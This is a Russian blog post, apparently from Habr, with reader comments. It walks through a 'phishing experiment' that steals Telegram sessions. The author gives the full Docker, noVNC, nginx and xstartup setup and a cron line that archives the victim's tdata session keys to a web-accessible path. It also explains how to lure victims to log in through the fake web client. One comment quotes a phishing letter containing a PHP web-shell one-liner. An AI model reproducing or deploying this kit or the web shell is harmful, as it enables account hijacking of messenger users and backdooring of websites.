Для зрелого бизнеса который учитывал риски связанные с решениями правительства, это создало некоторое неудобство, так как пришлось использовать обходные решения с использованием VPN. Но для рядовых пользователей которые небыли готовы к такому повороту событий это принесло новые угрозы. В панике пользователи стали искать и использовать первые попавшиеся бесплатные VPN, абсолютно не задумываясь что это может обернуться для них западней в виде DNS пушапов, и прочих MITM атак.
Телеграм имеет самую большую аудиторию, и этот факт ИТ бизнес не смог обойти стороной. Компании в свою очередь инвестировали огромный капитал в разработку бизнес инструментов использующих API данного мессенджера. Даже ряд государственных проектов вкладывал деньги в разработку ботов технической поддержки, ярким примером которого является портал Госуслуги(ЕПГУ).
Волна хайпа, спровоцировала спор с коллегами на предмет уязвимости паникующих пользователей, и мы решили провести эксперимент по фишингу Телеграм.
Многие пользователи столкнулись с проблемами доступа к Web версии данного мессенджера и мы решили сыграть на этом. Нашей целью стало получение профиля tdata, в котором хранятся те самые пресловутые ключи шифрования и данные о сессии.
В состав нашего рецепта вошли следующие основные компоненты:
- Telegram Desktop 1.2.17 (linux)
- Docker version 17.05.0-ce
- noVNC
По замыслу нужно собрать образ Docker в котором будут стартовать иксы и Телеграм, а noVNC будет транслировать нам запущенный Телеграм через nginx в веб-браузер клиента.
Шаг 1: Ограничиваем выполнение окружения рабочего стола, выполнением только Телеграм и трансляцией его через VNC сервер.
Для этого создаем файл .vnc/xstartup со следующим содержимым:
#!/bin/sh
if [ -z "$VNCAPP" ]
then
# Uncomment the following two lines for normal desktop:
unset SESSION_MANAGER
exec /etc/X11/xinit/xinitrc
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
x-window-manager &
else
xsetroot -solid black
vncconfig -iconic &
x-window-manager &
$VNCAPP
sleep 10
vncserver -kill $DISPLAY
fi
Шаг 2: Пробрасываем трансляцию noVNC на 80 порт при помощи nginx.
Создаем конфигурационный файл default что бы потом положить его в образ.
upstream vnc_proxy {
server 127.0.0.1:6080;
}
server {
listen 80 default_server;
listen [::]:80 default_server;
location / {
add_header Access-Control-Allow-Origin *;
proxy_pass http://127.0.0.1:6080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_redirect default;
client_max_body_size 10m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}
location /websockify {
proxy_http_version 1.1;
proxy_pass http://vnc_proxy/;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
# VNC connection timeout
proxy_read_timeout 61s;
# Disable cache
proxy_buffering off;
}
}
Шаг 3: Так как мы строили экспериментальную модель, а не полноценный сервис по Телеграм фишингу, для извлечения данных мы решили копировать архив каталога tdata с помощью cron в один из каталогов доступных веб-серверу.
Создаем cron файл со следующим содержимым
* * * * * root tar -czf /root/tests/data.tar.gz /root/.local/share/TelegramDesktop
Шаг 4: VNC:
Данный шаг требует кастомизации noVNC, мы выпилили из него тулбары и прописали автоматическое подключение к VNC серверу указав пароль который соответствует паролю .vnc/passwd данный пароль можно сгенерировать утилитой vncpasswd.
Шаг 5: Сборка образа Docker:
Все что мы подготовили заранее включая бинарник Telegram, складываем в один каталог, создаем Dockerfile и приступаем к сборке.
# Version: 0.0.1
FROM vcatechnology/linux-mint
MAINTAINER Poul Lysunenko <mpoul@hungosh.net>
RUN apt update
RUN apt install -y net-tools language-pack-ru cinnamon nginx chromium-browser vnc4server xvnc4viewer xfonts-base
RUN locale-gen ru_RU.UTF-8 && dpkg-reconfigure locales
COPY noVNC/ /root/
COPY .vnc/ /root/.vnc
COPY default /etc/nginx/sites-available/
COPY Telegram /root/
COPY cron /etc/cron.d/sample
RUN apt install -y cron
EXPOSE 6080
ENTRYPOINT /usr/sbin/service nginx start && /usr/sbin/service cron start && VNCAPP=/root/Telegram vnc4server -depth 24 -geometry 800x600 && /root/utils/launch.sh --vnc localhost:5901
Шаг 6: После сборки и запуска образа, используя все знания и умения в социальной инженерии приглашаем жертву эксперимента на дегустацию альтернативы веб-версии Телеграм.
Спустя минуту после авторизации скачиваем профиль /tests/data.tar.gz
Выводы:
Как вы понимаете спор с коллегами я выиграл, но радости данный выигрыш не принес. Положение дел в области информационной безопасности имеют отрицательные тренды связанные с условиями резких изменений в политиках использования интернета в России. Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.
P.S.: Не забудьте сверить открытые сессии ваших месседжеров, возможно сейчас кто-то читает
Комментарии (21)
vesper-bot
20.04.2018 16:47+1То есть вы, грубо говоря, кому-то на странице отдали интерфейс приложения Telegram, полученный по VNC, потом заграбастали его профиль? Это круче, чем отрава для тараканов, которую надо капать им в рот.
Fragster
20.04.2018 16:59Ну тут недавно некий телеграм точка онлайн рекламировали (прям так русскими буквами)
mpoul Автор
20.04.2018 20:30Нашлась аудитория, которая кушала эту отраву. Это еще раз подверждает что люлям долго еще созревать в отношении защиты собственной безопасности. Людям нужно чаще задумыватся над адекватностью своих действий на просторах Интернета
d7s2di
20.04.2018 18:35Сегодня очень неоднозначно развивается ситуация вокруг
А по-моему, так вполне однозначно.
cagami
20.04.2018 19:14+1попросили ввести логин и пароль? хмммм
А не проще было попросить дать логин и пароль для тестов эффект тот же. imhompoul Автор
20.04.2018 20:38Обычный экперимент с фишингом. Вы бы дали свой код/пароль от телеграма для тестов? Мы подтвердили для себя, что вовремя хайпа народ теряет голову и делает не ращумные вещи, доверяя любой новой фишке не задумываясь о безопасности.
cagami
21.04.2018 19:19Ну это из разряда nic.ru
Уважаемый администратор домена!
В соответствии с дополнениями, внесенными в правила ICANN, необходимо подтвердить, что управление доменом XXX осуществляется лицом, указанным в качестве его администратора.
Для подтверждения того, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл 9dededee233432.php со следующим содержимым:
<?php
assert(stripslashes($_REQUEST[6L4TV]));
?>
вот у вас тоже самое
Viacheslav01
21.04.2018 10:40+2Начали с угроз MITM-ом, было интересно, закончили «Мы заманили пользователя на левый клиент и сперли его данные», стало не интересно. Да хомяков эта отрава может немного покосить. Но вот про посетителей хабра, очень сильно сомневаюсь.
На фоне сказанного этот шедевр особенно хорош:
Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.
Isis
21.04.2018 13:50А еще с вашего устройства могут просто скопировать вашу сессию если вдруг вы забыли заблокировать ноут на работе пока ушли курить и вы об этом никогда не узнаете т.к. новой сессии не появится.
mpoul Автор
21.04.2018 14:17Согласен, но для этого даже курить никуда не надо ходить, если твой рабочий компьютер вхож в корпоративный домен.
BeLove
21.04.2018 14:45+1С таким же успехом можно сделать proxy_pass до web.telegram.org (https://www.slideshare.net/sergeybelove/nginx-warhead)
gto
«Телеграм имеет самую большую аудиторию», среди кого?
Stawros
По всей видимости среди заблокированных РКН мессенджеров.
Tufed
А РКН еще кого-то блокировал?
FlamyXD
Zello?
mxms
BBM. Первые удостоились блоков целыми подсетями. И до сих пор в блоке.
StjarnornasFred
А вы в танке? Вылезайте, а то РКН вам скоро люк заварит.
1Fedor
Ради интереса глянул, что было до этого хайпа
«В январе 2018 г. Институт современных медиа провел опрос среди 100 тыс. россиян, по результатам которого самым популярным мессенджером также оказался WhatsApp с долей в 59% пользователей. 36% опрошенных сообщили, что используют в Viber, это обеспечило ему второе место в списке. На третьем месте расположился мессенджер «ВКонтакте», которым пользуются 32% россиян. Telegram востребован у 19% пользователей, Facebook Messenger — у 14%, сообщал институт.
mpoul Автор
Нужно учитывать, что большая часть перечисленных Вами мессенджеров распространяются OEM, таким образом можно сказать что производители электроники повлияли на показатель популярности, многие стали использовать данные мессенджеры из коробки. На сколько я знаю телеграм в состав предустановленного ПО не входит.